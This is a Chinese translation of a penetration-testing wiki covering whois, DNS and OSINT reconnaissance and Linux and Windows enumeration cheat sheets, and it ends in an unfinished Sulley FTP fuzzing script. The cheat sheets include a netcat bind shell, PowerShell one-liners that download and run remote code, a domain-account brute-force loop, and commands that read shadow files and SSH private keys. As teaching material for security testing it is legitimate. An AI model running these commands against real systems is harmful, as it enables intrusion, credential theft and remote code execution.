Pentest-WiKi


Pentest WiKi

译者:@wing,@彼岸花团队,@\xeb\xfe,@EazyLov3,@奈沙夜影
项目原地址:Pentest WiKi
分别是一下几个部分:
part1 信息收集
part2 漏洞评估
part3 渗透工具
part4 后渗透阶段
part5 提权
part6 权限维持
part7 渗透测试报告
part8 逆向工程
part9 快速搭建系统服务

Part1 信息收集

├─信息收集
│  ├─README
│  ├─如何收集whois信息 
│  └─如何收集dns信息
│  ├─Linux下的信息收集
│  └─Windows下的信息收集

信息收集

在信息收集阶段,您将通过使用社交媒体网络,Google黑客攻击,目标足迹等收集关于您正在攻击的组织的任何信息。渗透测试人员所能掌握的最重要的技能之一就是了解目标的能力,包括目标的行为,操作方式以及最终如何被攻击。您收集的有关您的目标的信息将为您提供有关安全控制类型的宝贵信息。

在信息收集期间,您将尝试通过慢慢地开始探索其系统来确定目标上的保护机制。例如,一个组通常只允许面向外部设备的某个端口子集上的流量,如果您在除白名单端口以外的任何其他组查询该组,则将被阻止。通过最初从您愿意阻止或检测到的可消耗IP地址进行探测来测试此阻止行为通常是一个好主意。当您测试Web应用程序时也是如此,在某个阈值之后,Web应用程序防火墙会阻止您发出进一步的请求。要在这些测试中保持不被发现,您可以从IP地址范围执行您的初始扫描,这些扫描不能链接回您和您的团队。通常情况下,在互联网上有外部存在的机构每天都会遇到攻击,你的初始探测可能会被归类于无关信息的一部分。

信息分类 书签
IP分析 https://www.iana.org/numbers
https://www.iana.org/assignments/as-numbers/as-numbers.xml
https://www.iso.org/obp/ui/#home
https://www.ultratools.com/tools/toolsHome
https://www.robtex.com/
http://www.team-cymru.org/IP-ASN-mapping.html
http://www.iplocation.net/
http://thyme.apnic.net/
http://bgp.he.net/
https://ipinfo.io
Whois分析 https://www.iana.org/numbers
http://www.domaintools.com/
DNS 分析 http://www.alexa.com/
http://searchdns.netcraft.com/
http://centralops.net/co/
http://www.yougetsignal.com/
http://webhosting.info/whois/
http://reverseip.domaintools.com/
http://viewdns.info/reverseip/
Identify Live Hosts https://nmap.org/dist/sigs/?C=M;O=D
https://zmap.io/
http://masscan.net/
http://www.secdev.org/projects/scapy/
IDS/IPS 鉴定 https://www.monkey.org/~dugsong/fragroute/
http://pytbull.sourceforge.net/
http://tcpreplay.synfin.net/
开源情报 https://www.shodan.io/
https://www.exploit-db.com/google-hacking-database/

如何收集whois信息

  • Whois搜索
  • 查询Whois数据库

关于whois的信息以及攻击者如何使用这些信息,将使用whois记录中显示的信息来应对不知情的组织成员,领导和员工。 本文档涉及到windows的whois信息收集,针对的是Linux / Unix用户比Windows更多。

Whois搜索

简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。通过whois来实现对域名信息的查询、然而,whois信息也可以帮助攻击者获取信息,帮助成功渗透进入网络。

查询Whois数据库

whois查询将返回有关目标公司的信息。 使用这种类型的查询,您还可以搜索与目标公司关联的其他实体。 要对远程主机执行whois查询,攻击者将发出以下命令whois baidu.com,该输出将产生以下数据:

root@wing:~# whois baidu.com
   Domain Name: BAIDU.COM
   Registry Domain ID: 11181110_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.markmonitor.com
   Registrar URL: http://www.markmonitor.com
   Updated Date: 2017-07-28T02:36:28Z
   Creation Date: 1999-10-11T11:05:17Z
   Registry Expiry Date: 2026-10-11T11:05:17Z
   Registrar: MarkMonitor Inc.
   Registrar IANA ID: 292
   Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
   Registrar Abuse Contact Phone: +1.2083895740
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: DNS.BAIDU.COM
   Name Server: NS2.BAIDU.COM
   Name Server: NS3.BAIDU.COM
   Name Server: NS4.BAIDU.COM
   Name Server: NS7.BAIDU.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2017-12-10T07:03:24Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar.  Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability.  VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.

我们将从一开始就提到每个部分,最后完成A到D.然后,我们将更详细地了解每个部分,说明每个部分如何影响安全性,以及攻击者如何将这些信息关联形成目标详尽的概况; 以及有关内部网络的其他细节,以及组织的结构,以准备渗透。 但是,在深入研究whois部分显示的信息之前,我们将描述可以通过哪些whois搜索去查询一个域名的信息。 下面的图表显示了查询世界上每个地区有关whois查询的信息。

Whois 服务 受影响的地点 服务地址
ARIN 美国大陆互联网号码美国注册局. http://arin.net
APNIC 亚太信息中心. http://apnic.net
LACNIC 拉丁美洲和加勒比地址注册处 http://lacnic.net
NIC.gov 政府搜索 http://nic.gov/whois.html
NetworkSolutions.com Com, Net, Org, Edu 名字查找 http://networksolutions.com
Whois.net Whois 查询服务 http://whois.net
Crsnic.net Verisign Whois查询 http://crsnic.net
http://registrar.verisign-grs.com/whois/

可以从whois查询返回并滥用的附加信息如下:

返回的查询 返回的数据 用途
Address - Country Location of Target - 目标的位置
- 物理安全
- 垃圾搜索
- 社工
Net Range - Name Servers Internet Addressing Scheme - 利用定位
- 空间转移 (ixfr\
axfr)
Registration Update & Expirary Date formats & Times -社工
- DNS缓存中毒;
RTech handle - Rtech Email 管理员联系方式 - First / Last Name
- 社工
- 逆向工程
- E-mail 联系
-可能的联系电话
- 家庭住址
  • whois收集和挖掘额外的数据:
资源 获得的信息 信息用途
myspace.com,
meetspot.com,
adultfriendfinder.com,
friendfinder.com,
facebook.com,
classmates.com
-调查目标信息简介
-他们接收的人
-完成喜欢,不喜欢和缺陷
-进入他们的生活中一个不易发现的有利位置
- 社工 / 逆向
- 利用他们的机器访问公司机器。
- 利用嗅探进行被动信息收集
- 物理入侵的可能性是物理攻击可以利用键盘记录器和其他硬件来攻击。
Corporate BBS,
Google Searches for Help,
IT/IS Vendor Seaches (IBM, Solaris, Etc)
-具体问题和帮助文件
- 技术人员或安全专业人员参与解决任务
- 可以利用的长期/短期解决方案
- 用户名的可能性,甚至是密码被利用。
- 社工 / 逆向
- 暴力破解用户名
- 互联网迷你地图
- 短期解决方案,可能包含漏洞; 长期的解决方案,可能需要进一步挖掘,
- 暴露测试目标的能力,密码的可用性以及可以授予访问权的用户名。
monster.com,
bigapplehead.com,
dice.com,
other job searches
-架构利用
- 联系信息
- 地理位置
- 企业网站上的额外链接的可能性,这可能会返回更多的隐藏链接。
- 社工 / 逆向
- 能够获得临时访问现场拍照,社会工程师雇主。
- 收集哪些技术能用于发起渗透测试或攻击目标
- 在面谈中进一步了解和实施安全措施
- 通过面谈访问, 能够使我们更加接近以及了解目标.

如何收集dns信息

  • 被动模式
    • DNS 枚举
    • OSINT(公开情报)
  • 进攻模式
    -爬行网站
  • 工具
    • recon-ng
    • dnsrecon
    • theHarvester

被动模式

DNS 枚举

DNS 枚举 是查找组织的所有DNS服务器及其相应记录的过程。 公司可能同时拥有内部和外部DNS服务器,可以产生用户名,计算机名称和潜在目标系统的IP地址等信息。 有很多工具可以用来获取执行DNS枚举的信息。 可用于DNS枚举的工具的例子是NSlookup,DNSstuff,美国互联网号码注册局(ARIN)和Whois。 要枚举DNS,您必须了解DNS及其工作原理.

你必须知道DNS记录的知识。 DNS记录列表提供了存储在域名系统(DNS)的区域文件中的资源记录类型(数据库记录)的概述。 DNS实现分布式,分层和冗余数据库,用于与Internet域名和地址相关的信息。 在这些域服务器中,不同的记录类型用于不同的目的。 以下列表介绍常见的DNS记录类型及其用法:

DNS记录类型 方法 说明
dns query A 地址记录,返回32位IPv4地址,最常用于将主机名映射到主机的IP地址,但也用于DNSBL,在RFC 1101中存储子网掩码等。
dns query CNAME CNAME 被称为规范名字。这种记录允许您将多个名字映射到同一台计算机
dns query AAAA IPv6的地址记录, 返回一个128位的IPv6地址,最常用于将主机名映射到主机的IP地址。
dns query MX 邮件交换记录,将域名映射到该域的邮件传输代理列表。
dns query NS 名称服务器记录,委派一个DNS区域使用给定的权威名称服务器
dns query SOA 权限记录区域,指定关于DNS区域的权威信息,包括主要名称服务器,域管理员的电子邮件,域序列号以及与刷新区域有关的多个定时器。
dns query SPF 发件人策略框架,一个简单的电子邮件验证系统,旨在通过提供一种机制来检测电子邮件欺骗,以允许接收邮件交换者检查来自域的传入邮件来自该域管理员授权的主机。
dns query TXT 文本记录,最初用于DNS记录中任意可读的文本。
dns query PTR 指针记录,指向规范名称的指针。 与CNAME不同,DNS处理停止,只返回名称。 最常见的用途是实施反向DNS查询,但其他用途包括DNS-SD等。
dns query SRV 服务定位器,通用服务位置记录,用于较新的协议,而不是创建协议特定的记录,如MX。
dns query NSEC Next安全记录,DNSSEC的一部分 - 用于证明名称不存在。 使用与(过时的)NXT记录相同的格式。
dns query AXFR 授权区域传输,将主区域名称服务器上的整个区域文件传输到辅助名称服务器。 DNS区域传输通常用于跨多个DNS服务器复制DNS数据,或备份DNS文件。 用户或服务器将执行来自“名称服务器”的特定区域传输请求。如果名称服务器允许区域传输发生,名称服务器托管的所有DNS名称和IP地址将以可读的ASCII文本形式返回。
dns query IXFR 增量区域传输,将整个区域文件从主名称服务器传输到辅助名称服务器。
dns query DNS Wildcard 检查域名服务器启用通配符查询,或DNS伪造。
dns query domain bruteforce 用字典暴力破解子域名
dns query reverse bruteforce 域名反查ip
dns query srv bruteforce 暴力破解srv记录
dns query gtld bruteforce 暴力破解gtld记录
dns query tld bruteforce 暴力破解tld记录

OSINT

OSINT 分类 描述
OSInt Google 来自Google的Spider域名:demo.com
OSInt Bing 来自Bing的Spider域名:demo.com
OSInt Yahoo 来自Yahoo的Spider域名:demo.com
OSInt Baidu 来自百度的Spider域名:demo.com
OSInt Netcraft netcraft searchdns pages 上爬取域名
OSInt Github 来自Github 的Spider域名
OSInt Shodan 来自Shodan的Spider域名
OSInt Censys 来自Censys的Spider域名
OSInt ZoomEye 来自ZoomEye的Spider域名

主动攻击模式

攻击模式 方法 描述
Websites Spider default page 扫描默认页面和爬取目标站点
Websites Certificates 扫描域名证书

Tools

recon-ng 命令 Description
use recon/domains-hosts/baidu_site 通过baidu搜索域名
use recon/domains-hosts/bing_domain_api 通过bing api搜索域名
use recon/domains-hosts/bing_domain_web 通过bing web pages搜索域名
use recon/domains-hosts/brute_hosts 爆破子域名
use recon/domains-hosts/google_site_api 通过google api搜索域名
use recon/domains-hosts/google_site_web 通过 google web pages 搜索域名.
use recon/domains-hosts/netcraft Search domains from netcraft pages.
dnsrecon 命令 Description
dnsrecon -n 8.8.8.8 -d demo.com 请使用有效的DNS服务器,以避免DNS伪造。
dnsrecon -d demo.com -t std SOA,NS,A,AAAA,MX和SRV(如果NS服务器上的AXRF失败)。
dnsrecon -d demo.com -t rvl 反向查找给定的CIDR或IP范围。
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd 使用之指定字典爆破域名和hosts.
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd –iw 使用指定目录字典暴力破解域名,即使发现了目录,依然继续暴力破解
dnsrecon -d demo.com -t srv SRV 记录
dnsrecon -d demo.com -t axfr 为空间转移测试所有NS服务器.
dnsrecon -d demo.com -t goo 通过google搜索存活子域和主机.
dnsrecon -d demo.com -t tld 删除给定域的TLD,并针对在IANA中注册的所有TLD进行测试
dnsrecon -d demo.com -t zonewalk 使用NSEC记录执行DNSSEC区域漫游。
dnsrecon -d demo.com –db /path/to/results.sqlite 将结果保存在一个sqlite文件中
dnsrecon -d demo.com –xml /path/to/results.xml 将结果保存在一个xml文件中。
dnsrecon -d demo.com -c /path/to/results.csv 将结果保存在一个csv文件中。
dnsrecon -d demo.com -j /path/to/results.json 将结果保存在一个json文件中。
theHarvester Command 说明
theharvester -d demo.com -b all 通过 google, googleCSE, bing, bingapi, pgp, linkedin,google-profiles, jigsaw, twitter, googleplus,等方法来查询目标信息
theharvester -d demo.com -n 对发现的所有网段执行DNS反向查询
theharvester -d demo.com -c 对域名执行DNS爆破
theharvester -d demo.com -t 执行DNS TLD扩展发现
theharvester -d demo.com -e 8.8.8.8 指定一个DNS服务器
theharvester -d demo.com -h 使用SHODAN数据库查询已发现的主机
Metasploit Command 说明
msf > use auxiliary/gather/enum_dns 收集dns记录信息(A, AAAA, CNAME, ZoneTransfer, SRV, TLD, RVL, …)

相关链接

Linux下的信息收集

系统架构

相关命令及说明
  • uname -a : uname命令报告有关计算机的软件和硬件的基本信息。
    Alt text

  • cat /etc/issue :文件/ etc / issue是一个文本文件,其中包含要在登录提示之前打印的消息或系统标识。
    pentest wiki

  • cat /etc/*-release/etc/lsb-release, /etc/redhat-release 文件包含一个被解析以获取信息的描述行。 例如:“分销商版本x.x(代号)”

pentest wiki

  • cat /proc/version :/ proc/version指定了Linux内核的版本,用于编译内核的gcc的版本以及内核编译的时间。 它还包含内核编译器的用户名。
    pentest wiki

  • cat /proc/sys/kernel/version/proc/sys/kerne /中的文件可以用来调整和监视Linux内核操作中的各种活动
    pentest wiki

进程

  • ps -ef /ps aux : 列出当前进程快照

pentest wiki

pentest wiki

  • top: top命令显示您的Linux机器的处理器活动,并显示实时管理的任务。 它会显示正在使用的处理器和内存以及运行进程等其他信息。

pentest wiki

  • ls -al /proc/: /proc是非常特殊的,它也是一个虚拟文件系统。 它有时被称为过程信息伪文件系统。 它不包含“真实”文件,而是包含运行时系统信息(例如系统内存,安装的设备,硬件配置等)。
    pentest wiki
  • ls -al /proc/99 :查看关于PID 99的信息.
    pentest wiki

用户和组

Command Description
id 找到用户的UID或GID等信息.
w 显示登录到Linux服务器的人员.
whoami 显示当前用户名
lastlog 格式化打印上次登录日志/var/log/lastlog文件的内容。
cat /etc/passwd 有关用户信息的基于文本的数据库,可以登录系统或其他拥有正在运行的进程的操作系统用户身份。
cat /etc/shadow /etc/shadow用于通过限制除高度特权的用户对散列密码数据的访问来提高密码的安全级别。 通常情况下,该数据保存在超级用户拥有的文件中,并且只能由超级用户访问。
cat /etc/master.passwd /etc/master.passwd on BSD systems
cat /etc/sudoers /etc/sudoers 文件内容是使用sudo命令必须遵守的规则!
sudo -V 打印sudo版本字符串
cat ~/.ssh/authorized_keys 使用公钥认证,认证实体具有公钥和私钥。 每个key都是具有特殊数学属性的大数字。私钥保存在您登录的计算机上,而公钥存储在要登录的所有计算机上的.ssh/authorized_keys文件中。
cat ~/.ssh/identity.pub 文件identity.pub包含您的公钥,可以将其添加到其他系统的authorized_keys文件中。
cat ~/.ssh/identity ssh客户端允许您选择读取RSA或DSA身份验证标识(私钥)的文件。
cat ~/.ssh/id_rsa.pub RSA 公钥 会保存为 .ssh/id_rsa.pub.
cat ~/.ssh/id_rsa RSA 私钥 会保存在你的home目录中 :.ssh/id_rsa。
cat ~/.ssh/id_dsa.pub DSA公钥 会保存为 .ssh/id_rsa.pub.
cat ~/.ssh/id_dsa DSA 私钥 会保存在你的home目录中 :.ssh/id_dsa。
cat /etc/ssh/ssh_config OpenSSH SSH 控制端配置文件
cat /etc/ssh/sshd_config OpenSSH SSH 服务端配置文件
cat /etc/ssh/ssh_host_dsa_key.pub sshd守护进程使用的DSA公钥.
cat /etc/ssh/ssh_host_dsa_key sshd守护进程使用的DSA私钥。
cat /etc/ssh/ssh_host_rsa_key.pub sshd守护程序用于SSH协议版本2的RSA公钥。
cat /etc/ssh/ssh_host_rsa_key sshd守护进程使用的RSA私钥。

服务

Command Description
service -status-all 检查所有服务状态
systemctl -a 列出安装在文件系统中的所有单元.
service servicename start
systemctl start servicename
启动某个服务
service servicename stop
systemctl stop servicename
停止某个服务
service servicename status
systemctl status servicename
显示某个服务状态信息
cat /etc/services /etc/ services将端口号映射到指定的服务.

安全

Command Description
iptables -L 列出所有规则链。
iptables -F 删除选定规则链中的所有规则.
iptables -A INPUT -p icmp -m icmp –icmp-type 0 -j ACCEPT 请执行iptables -p icmp –help 获得更多信息.
iptables -A INPUT -p tcp -m tcp –sport 80 -m state –state RELATED,ESTABLISHED -j ACCEPT 允许来自src端口80的tcp连接
iptables -A OUTPUT -p tcp -m tcp –dport 80 -m state –state NEW,RELATED,ESTABLISHED -j ACCEPT 允许 从/到 dst 端口80的TCP连接.
iptables -A INPUT -p udp -m udp –sport 53 -m state –state RELATED,ESTABLISHED -j ACCEPT 允许来自src端口80的udp连接
iptables -A OUTPUT -p udp -m udp –dport 53 -m state –state NEW,RELATED,ESTABLISHED -j ACCEPT 允许从/到 dst 端口53的udp连接.
iptables -A OUTPUT -p tcp -m tcp –sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp –dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
允许本地主机连接到 localhost:55552

网络

Command Description
ifconfig -a 显示当前可用的所有接口
hostname 显示或设置系统的主机名称。
dnsdomainname 显示系统的DNS域名。
netstat -antp 显示网络状态
netstat -anup 显示网络状态
chkconfig –list 显示所有运行级系统服务的运行状态信息
lsof -nPi 列出打开的文件
route -e 显示/操作IP路由表
iwconfig 配置无线网络接口
cat /etc/resolv.conf 该文件是DNS域名解析的配置文件,它的格式很简单,每行以一个关键字开头,后接配置参数。resolv.conf的关键字主要有四个,分别是:`nameserver :定义DNS服务器的IP地址 domain :定义本地域名 search :定义域名的搜索列表 sortlist #对返回的域名进行排序`
cat /etc/hosts /etc/hosts 是一个简单的文本文件,将IP地址与主机名相关联,每个IP地址一行。
cat /etc/network/interfaces /etc/network/interfaces 文件包含网络接口配置信息。
cat /etc/sysconfig/network /etc/sysconfig/network 文件用于指定有关服务器上所需网络配置的信息。
cat /etc/networks /etc/networks 是一个简单的ASCII文件,描述这些网络的已知DARPA网络和符号名称。
cat /proc/net/tcp 以十六进制模式打印tcp信息
cat /proc/net/udp 以十六进制模式打印udp信息
cat /proc/net/icmp 以十六进制模式打印icmp信息
cat /proc/net/route 以十六进制模式打印路由信息
cat /etc/inetd.conf inetd也称为超级服务器,将根据来自网络的请求加载网络程序。 inetd.conf文件告诉inetd要侦听的端口以及为每个端口启动的服务器.
cat /etc/xinetd.conf xinetd.conf是确定xinetd提供的服务的配置文件.
ls -R /etc/network/ 显示有关网络配置的文件
ls -al /etc/init.d 列出所有的init脚本
iptables -L -t nat 打印nat的规则链
iptables -L -t mangle 打印mangle链的规则
tcpdump tcpdump备忘录
nc -v host port 建立一个tcp连接
nc -v -e /bin/sh -l -p port 反弹shell给本地的一个端口

文件系统

Command Description
cat /etc/profile /etc/profile 包含Linux系统环境和启动程序。 它被所有的用户使用于bash,ksh,sh shell。
cat /etc/bashrc /etc/bashrc 或者 /etc/bash.bashrc是全系统的bash每个交互式shell启动文件。 是使用系统广泛的功能和别名。
cat ~/.bash_profile 类似 /etc/profile, 但仅适用于当前用户
car ~/.bash_history 打印当前用户bash命令的历史记录
cat ~/.bashrc ~/.bashrc是存储在您的主目录$HOME中的单个每个交互式shell启动文件。
car ~/.zshrc ~/.zshrc是存储在您的主目录$ HOME中的单个交互式shell启动文件。
cat ~/.bash_logout 文件〜/ .bash_logout不用于调用shell。 当用户从交互式登录shell中退出时,它被读取并执行。
ls -al /var/log/ 列出所有日志文件
find / -perm -1000 -type d 2>/dev/null 粘滞位 - 只有目录的所有者或文件的所有者可以在这里删除或重命名.
find / -perm -g=s -type f 2>/dev/null SGID(chmod 2000) - 作为组运行,而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null SUID(chmod 4000) - 作为所有者运行,而不是启动它的用户。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null SGID 或者 SUID
for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done 在SGID或SUID(快速搜索)中查找’common’位置:/ bin,/ sbin,/ usr / bin,/ usr / sbin,/ usr / local / bin,/ usr / local / sbin和其他任何*bin。
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null 从根目录(/),SGID或SUID开始,而不是符号链接,只有3个文件夹的深度,列出更多的细节和隐藏的任何错误(例如权限被拒绝)
find / -writable -type d 2>/dev/null 找出可写的文件夹
find / -perm -222 -type d 2>/dev/null 找出可写的文件夹
find / -perm -o w -type d 2>/dev/null 找出可写的文件夹
find / -perm -o x -type d 2>/dev/null 找出可写的文件夹
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null 找出可写可执行的文件夹
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print 找出可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print 找出不是所有者的文件

程序

Command Description
crontab -l 显示标准输出上的当前触点
ls -alh /var/spool/cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow /etc/at.allow和/etc/at.deny文件确定哪个用户可以通过at或batch提交命令供以后执行.
cat /etc/at.deny /etc/at.allow和/etc/at.deny文件确定哪个用户可以通过at或batch提交命令供以后执行。
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
ls -la /var/spool/cron/crontabs 列出所有用户的crontab文件
cat /var/spool/cron/crontabs/root 打印root用户的crontab命令

相关链接

  1. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  2. https://github.com/CISOfy/lynis
  3. https://github.com/rebootuser/LinEnum
  4. https://github.com/nixawk/metasploit-modules/blob/master/.msf4/modules/post/linux/gather/enum_linux.rb
  5. http://www.iptables.org/documentation/
  6. http://packetlife.net/media/library/12/tcpdump.pdf
windows下的信息收集
系统架构
Command Description
ver 显示Windows版本.
systeminfo
systeminfo /S ComputerName /U username /P password
此工具显示本地或远程计算机的操作系统配置信息,包括服务包级别。
wmic os list brief 已安装操作系统的管理.
wmic computersystem list full 计算机系统管理。
进程
Command Description
tasklist
tasklist /M
tasklist /V
显示本地机器上当前正在运行的进程的列表.
tasklist /FI “IMAGENAME eq cmd.exe”
tasklist /FI “PID ne 0”
显示一组过滤器指定的标准的进程.
tasklist /S SERVER /U DOMAIN\username /P password 显示远程机器上当前正在运行的进程的列表.
wmic process list brief 进程管理.

用户和组

Command Description
whoami 列出关于您当前登录的用户的信息.
net user 显示用户帐户信息.
net user /domain 对计算机的主域中的域控制器执行操作.
net localgroup administrators 在计算机上显示本地管理员组.
net localgroup administrators /domain 显示当前的域控制器上的本地管理员组.
net group /domain 显示分组并在当前域的域控制器上执行操作.
net group “Domain Admins” /domain 在当前域中查询域管理员的用户.
net group “Domain Computers” /domain 查询当前域中的所有域计算机.
net group “Domain Controllers” /domain 查询域控制器.
net group “Domain Policy Creator Owners” /domain 查询域策略创建者.
net accounts /domain 更新用户帐户数据库并修改所有帐户的密码和登录要求。 对当前域的主域控制器执行操作.
wmic useraccount 用户帐户管理.
wmic useraccount LIST BRIEF 打印帐户信息.
服务
Command Description
sc qc servicename 查询服务的配置信息。
sc query servicename 查询服务的状态,或枚举服务类型的状态.
sc create cmdsys type= own type= interact binPath= “c:\windows\system32\cmd.exe /c cmd.exe” & sc start cmdsys 在注册表和服务数据库中创建一个服务条目。
系统安全
Command Description
wmic qfe get hotfixid 有关在Windows上安装的修补程序的信息
NETSH FIREWALL show all 显示域/标准配置文件的允许程序配置。
网络
Command Description
ipconfig /all 显示所有适配器的完整TCP/IP配置。
ipconfig /displaydns 显示DNS客户端解析程序缓存的内容,其中包括从本地主机文件预加载的条目和计算机解析的名称查询的任何最近获取的资源记录。 DNS客户端服务使用此信息快速查询经常查询的名称,然后查询其配置的DNS服务器.
netstat -ano 显示活动的TCP连接并包含每个连接的进程ID(PID).
netstat -ano -p tcp 显示tcp连接.
netstat -ano -p udp 显示udp连接.
netstat -r 显示系统的路由表.
route print 显示系统的路由表.
net view 显示指定计算机共享的域,计算机或资源的列表.
net view /domain:DOMAINNAME 指定要查看可用计算机的域。 如果您省略DomainName,则/域将显示网络中的所有域.
net view \\ComputerName 指定包含要查看的共享资源的计算机.
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create “cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt” 在远程服务器上创建一个新进程.
powershell.exe -w hidden -nop -ep bypass -c “IEX ((new-object net.webclient).downloadstring(‘http://ip:port/[file]’))” 从远程服务器执行代码.
powershell.exe -w hidden -nop -ep bypass -c “(new-object net.webclient).DownloadFile(‘http://ip:port/file‘, ‘C:\Windows\temp\testfile’)” 从远程服务器下载文件.
文件系统
Command Description
type C:\Windows\system32\demo.txt 显示文件的内容.
dir /a 显示具有指定属性的文件.
dir /s 搜索子目录
dir /s “*wing*“ 搜索在当前目录的所有子目录中包含’wing’部分输入的单词.
find /I wing C:\Windows\System32*.ini 在一个或多个文件中搜索包含’wing’这个字符串的问文件.
tree /F C:\Windows\system32 以树状图方式显示驱动器或路径的文件夹结构.
fsutil fsinfo drives 列出系统上的当前驱动器.
wmic volume 本地存储卷管理.
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber 本地存储设备管理.
net share 显示有关在本地计算机上共享的所有资源的信息.
wmic share 共享资源管理.
net use \\ip\ipc$ password /user:username 将计算机连接到共享资源或将计算机与共享资源断开连接,或显示有关计算机连接的信息.
@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\DomainController\IPC$ /user:\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && 暴力破解 Windows帐户
FOR /F %f in (‘dir /b /s C:\’) do find /I “password” %f 从C盘中的文件或文件中搜索password
启动和关闭
Command Description
wmic startup 管理用户登录到计算机系统时自动运行的命令。
相关链接
  1. Windows Internals Book.

国内的关于信息收集的文章
浅谈Web渗透测试中的信息收集http://www.freebuf.com/articles/web/142767.html
Web安全渗透测试之信息搜集篇http://blog.51cto.com/infosec/229507
渗透测试:如何开展前期侦察以及收集敏感信息http://www.360zhijia.com/360anquanke/279542.html
渗透测试你真的会信息收集?乙方渗透测试之信息收集http://www.jianshu.com/p/dd3e77a42172
透测试教程:如何侦查目标以及收集信息?https://www.ddvip.com/weixin/20170728A07OXI00.html

Part2 漏洞评估

确定了最可行的攻击方法之后,您需要考虑如何访问目标。在脆弱性分析过程中,您可以结合前一阶段学到的信息,并用它来了解哪些攻击是可行的。其中,漏洞分析考虑了端口和漏洞扫描,通过抓取banner收集的数据以及收集情报期间收集的信息。

评估分类 书签
网络评估
Web应用程序评估
数据库评估

网络评估

Fuzzers-sulley

代码(fuzz_PCManftpd32.py)

#coding=utf-8
# 视频1使用Sulley框架的实现fuzz
# http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework
# https://www.exploit-db.com/exploits/37731/

# -------------------------------------------------------------------
# Usage:
# C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
# C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"

# -------------------------------------------------------------------
# 分析:

"""
220 PCMan's FTP Server 2.0 Ready.
USER anonymous
331 User name okay, need password.
PASS password12345
230 User logged in
PORT 192,168,1,106,206,27
200 Command okay.
STOR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,28
200 Command okay.
LIST
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,29
200 Command okay.
RETR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
QUIT
"""

from sulley import *

# 总体概述
#1.创建请求(定义模糊语法)
#2.定义会话
#3.定义目标
#4.fuzz!

# s_initialize - 构建一个新的请求
# s_static ("USER") - 一个静态(未改变)的字符串,不会被fuzz
# s_delin(" ") - 可以fuzz的分隔符,将有不同的使用s_string的变动
# s_string("anonymous") - 一个将被变动的字符串。 包含比s_delim更多的变动

# -------------------------------------------------------------------
# 语法测试
s_initialize("user")
s_static("USER")
s_delim(" ", fuzzable=False)
s_string("anonymous")
s_static("\r\n")

s_initialize("pass")
s_static("PASS")
s_delim(" ", fuzzable=False)
s_string("pass12345")
s_static("\r\n")

s_initialize("put")
s_static("PUT")
s_delim(" ", fuzzable=False)
s_string("fuzz_strings")
s_static("\r\n")

s_initialize("stor")
s_static("STOR")
s_delim(" ", fuzzable=True)
s_string("AAAA")
s_static("\r\n")

s_initialize("mkd")
s_static("MKD")
